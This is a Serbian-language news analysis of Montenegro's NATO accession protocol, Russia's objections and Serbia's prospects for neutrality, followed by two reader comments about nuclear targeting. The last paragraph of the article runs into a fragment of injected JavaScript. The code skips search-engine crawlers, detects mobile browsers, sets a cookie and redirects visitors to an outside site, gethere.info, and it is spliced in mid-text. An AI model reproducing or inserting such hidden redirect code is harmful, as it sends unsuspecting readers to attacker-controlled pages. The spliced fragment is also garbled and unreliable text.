BALKANE MOJ (ANALIZA): Kako ostati neutralan u velikoj partiji šaha

BALKANE MOJ (ANALIZA): Kako ostati neutralan u velikoj partiji šaha


Širenje NATO pakta na preostale balkanske države isključivo je političko pitanje. Ni Srbija ni Crna Gora nisu vojno u stanju da ugroze nikoga u regionu, a još manje s njihove teritorije Rusija može da pokreće borbene pohode. Ali u velikoj partiji šaha, kakva se igra, svaka zabodena zastava ima veliku važnost. Tako je i mogućnost da se ostane neutralan proporcionalno mala

Rusija sve izvesnije gubi bitku za Balkan. Ovako se u najkraćem može objasniti stvarni značaj potpisa koji je Milo Đukanović protekle nedelje u Briselu stavio na Protokol o pristupanju Crne Gore NATO paktu.

Sjedinjene države, dakle, nastavljaju da stežu obruč, žele da pokažu ko je šef u ovom delu Evrope i to je ključno što se tiče globalne važnosti proširenja najmoćnije vojne alijanse na 29. zemlju članicu. Za crnogorske prilike, međutim, činjenica da će definitivna odluka o ulasku u NATO morati da sačeka sledeći parlament ove brdovite državice, posle izbora koji su planirani za oktobar, znači nešto sasvim drugo. Đukanović i njegova partija su ovim potezom podigli ulog do kraja i sada će “morati” da ostanu na vlasti još bar četiri godine kako bi dogovoren posao bio i sproveden u delo.

Zašto Crna Gora treba NATO paktu

Uslov za članstvo u NATO bilo je vojno i spoljnopolitičko potčinjavanje Podgorice diktatu Vašingtona. Još krajem decembra prošle godine armije Zapadnog saveza dobile su dalekosežna ovlašćenja na crnogorskoj teritoriji. To se ne odnosi samo na transport vojnika, već i na gradnju vojnih baza. Tako NATO već sada, pre nego što će se ulazak Crne Gore i ozvaničiti, kontroliše kompletan severni deo Sredozemnog mora, a time i najvažnije puteve trgovine i snabdevanja iz Evrope i ka njoj.

Crna Gora sa svojih 2.000 vojnika i nešto pušaka svakako nije snaga koja ima ikakav značaj za Severnoatlantski pakt u vojnom smislu. Uostalom, kao što ne bi imala ni srpska armija u trenutnom stanju. Njena važnost je jedino u strateškom značaju crnogorskih brda koja NATO savezu garantuju kontrolu i poslednjeg delića jadranske obale. Na ovaj način i veze između bivših jugoslovenskih republika koje su članice NATO postaju tesnije. To može da doprinese stabilnosti u regionu u kome još postoji trauma građanskog rata iz 90-ih godina.

S druge strane, Rusija je naravno dodatno razljućena zbog novog proširenja NATO. U jeku sukoba oko Sirije i Ukrajine, ona svako širenje NATO saveza, pa čak i na malu tačku na karti kao što je Crna Gora, smatra napadom na ruske interese. Otežavajuća okolnost je i to što se u neposrednom susedstvu Crne Gore nalazi Srbija. Tradicionalni saveznik Rusije na Balkanu sada nema mnogo prostora za svoje dalje izbegavanje priključenja vojnoj mašineriji s kojom je ratovao 1999.

Može li Srbija ostati neutralna?

Ulazak Srbije u NATO čini se kao neminovnost u poziciji kada će sa svih strana biti okružena državama ovog vojnog bloka, ali za razliku od beznačajne Crne Gore, Rusija će sigurno taj gubitak mnogo teže uspeti da prihvati i svari.

Nekada bliske veze Crne Gore i Rusije, posebno naglašene u prethodnom periodu kada su brojni ruski bogataši kupovali kuće i gradili hotele po budvanskoj rivijeri, sada su dovedene u pitanje. Koliko će Rusi zaista “kažnjavati” Crnu Goru i izbegavati odlazak na more u Bečiće i Petrovac, što Crnogorce jedino i zanima, videćemo već ovog leta. Do tada ćemo slušati jadikovke i polupretnje iz Moskve, koje u Podgorici sigurno neće izazvati preteranu paniku. Nešto poput onoga što je pre nekoliko dana izjavio Andrej Klimov, član Odbora za međunarodne odnose ruske Dume.

“Odlukom o pristupanju NATO Crna Gora prelazi u kategoriju potencijalnih ciljeva Rusije. Nije jasno od koga ta zemlja namerava da se štiti. NATO ne štiti od terorista. Od Severne Koreje? To je smešno. Ispada da među motivima nema ničeg osim takozvane ruske pretnje. Crnu Goru su povukli u NATO da bi ojačali antirusko bratstvo”, kaže Klimov.

I nema sumnje, širenje NATO pakta na preostale neutralne balkanske države isključivo je političko pitanje. Ni Srbija ni Crna Gora nisu u stanju da vojno ugroze nikoga u regionu, a još manje sa njihove teritorije Rusija može da pokreće bilo kakve borbene pohode. Ali u velikoj partiji šaha, kakva se trenutno igra na svetskoj pozornici, svaka zabodena zastava ima veliku važnost. Tako je i mogućnost da se ostane neutralan proporcionalno mala.

Milo: Krugovi SPC organizuju proteste protiv NATO?

Slično smatra i Milo Đukanović, čovek oko koga se već dugo lome koplja u Podgorici, a i šire.

“Ovde se zapravo vodi jedna ozbiljna strateška borba, a to je borba NATO koji ima ambiciju da svoje vrednosti širi dalje na prostoru Balkana, na prostoru Evrope, i one politike koja se zapravo protivi daljem širenju NATO i koja u širenju NATO vidi opasnost po sebe”, objašnjava dugogodišnji lider Crne Gore.

Po njemu, proteste opozicije koja želi da zaustavi put Crne Gore ka članstvu u NATO podržavaju “strukture iz bližeg i daljeg međunarodnog okruženja”. U tom kontekstu Milo i dalje strepi od “velikosrpskih krugova iz Beograda” okupljenih oko “određenih društvenih centara moći, poput Srpske pravoslavne crkve”. Đukanović vrlo direktno targetira svoj poslednji veliki problem u zaokruživanju crnogorske državnosti i nacije i videćemo na koji način to planira da rešava. Svakako, biće mu mnogo lakše da se sa SPC-om na teritoriji Crne Gore obračuna kao formalni član NATO alijanse.

Ulazak Srbije smanjuje tenzije?

I dok u Crnoj Gori protivnicima ulaska u NATO sada predstoji veoma teška borba da to eventualno spreče, posebno jer ni cela tamošnja opozicija nije saglasna oko ovog pitanja, u Srbiji polako dolazi vreme kada će pitanje priključenja najjačem vojnom savezu konačno morati da se otvoreno pokrene. Eventualno pristupanje Srbije moglo bi definitivno da prekine tenzije na Balkanu, pošto bi sve države onda bile u istom vojnom savezu, a i priključenje EU bi na taj način bilo “pogurano”, pa se postavlja pitanje koje su realne mogućnosti da se ovakav scenario ne dogodi uprkos više nego očekivanom protivljenju i negodovanju Moskve.

To negodovanje, doduše, može dovesti do vrlo negativnih posledica za našu ekonomiju, što čitavoj priči daje specifičnu težinu. A između ostalih dilema postoje i one sasvim racionalne, koje se tiču upravo pitanja bezbednosti, jer ulaskom u NATO u paketu dobijate i veoma opasne neprijatelje koje do tada niste imali, a to smo nedavno videli kako izgleda u Parizu i Briselu.

Pristupanje NATO paktu smatra se komplementarnim sa prilagođavanjem EU u oblasti odbrambene politike, mada šest članica EU nije pristupilo Alijansi, pa ovo nije izričita obaveza. Tih šest članica su Švedska, Finska, Malta, Kipar, Austrija i Irska. Od zemalja zapadnog Balkana jedino Srbija trenutno ne teži članstvu, što je NATO i naveo na svom sajtu. Ipak, poslednja reakcija Rusije zapravo se smatra indirektnom porukom Srbiji, koja je mnogo važnija za Moskvu nego što je to Crna Gora.

Odluka o ulasku Bosne i Hercegovine u savez i dalje nije potvrđena zbog nerešenih problema sa vojnom imovinom, dok Makedonija, kako se navodi u saopštenju NATO, čeka da reši problem s nazivom države koji osporava Grčka. NATO je ranije istakao da će Ukrajina i Gruzija jednog dana biti članice. Ali podeljena Ukrajina, u ogromnom problemu s Rusijom i sopstvenim Rusima, za sada ne zahteva učlanjenje. Pitanje je da li će to u skorije vreme i da učini. Gruzijsko učlanjenje iz istih, “ruskih” razloga, deluje skoro nemoguće.

Crna Gora je kupila ulaznicu i sprema se za “istočni front”. Srbija, BiH, Makedonija, Ukrajina… Ko je od njih sledeći?} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

2 komentara

Dodajte komentar
  1. 1
    Borisav

    U članku je prećutana opasnost od atomskog oružja. Ulaskom i sa vojnog stanovišta beznačajne države u NATO, raketni taktički atomski arsenal NATO ulazi na njenu teritoriju i, za uzvrat, takva država postaje meta ruskog taktičkog atomskog naoružanja. O ovome je Rusija pre godinu i po dana zvaničnom notom upozorila vladu CG i da nema ovog, atomskog, aspekta, Rusija bi jedva i obratila pažnju da li je CG u NATO ili nije, a pogotovo ne bi imala razloga da bude ‚‚nervozna“. U slučaju da Komanda NATO proceni da treba da dejstvuje taktičkim atomskim raketama po konfliktniom zonama oko granica Rusije, logično je da je „ekonomičnije“ žrtvovati siromašne i slabo naseljene teritorije balkanskih zemalja i izložiti ih ruskom kontra udaru, nego razvijenu i gusto naseljenu Srednju Evropu.
    Obzirom na ravnotežu straha, opšteg nuklearnog rata neće biti i obzirom da su SAD daleko van domašaja taktičkog atomskog oružja, širenje NATO na istok Evrope nije čak ni partija „mice“, a kamoli „velika partija šaha“.

  2. 2
    Вања

    Америка је и те како у домету руског атомског арсенала и никако не може рећи да је по том питању мирна. Ми се налазимо у опасној зони удара јер ако Руси звекну атомку у ЦГ, МК или ХР одосмо и ми Богу на истину као колатерална штета. Зато би требали да овим земљама ускратимо сваки облик економске сарадње јер нас угрожавају.

+ Ostavite komentar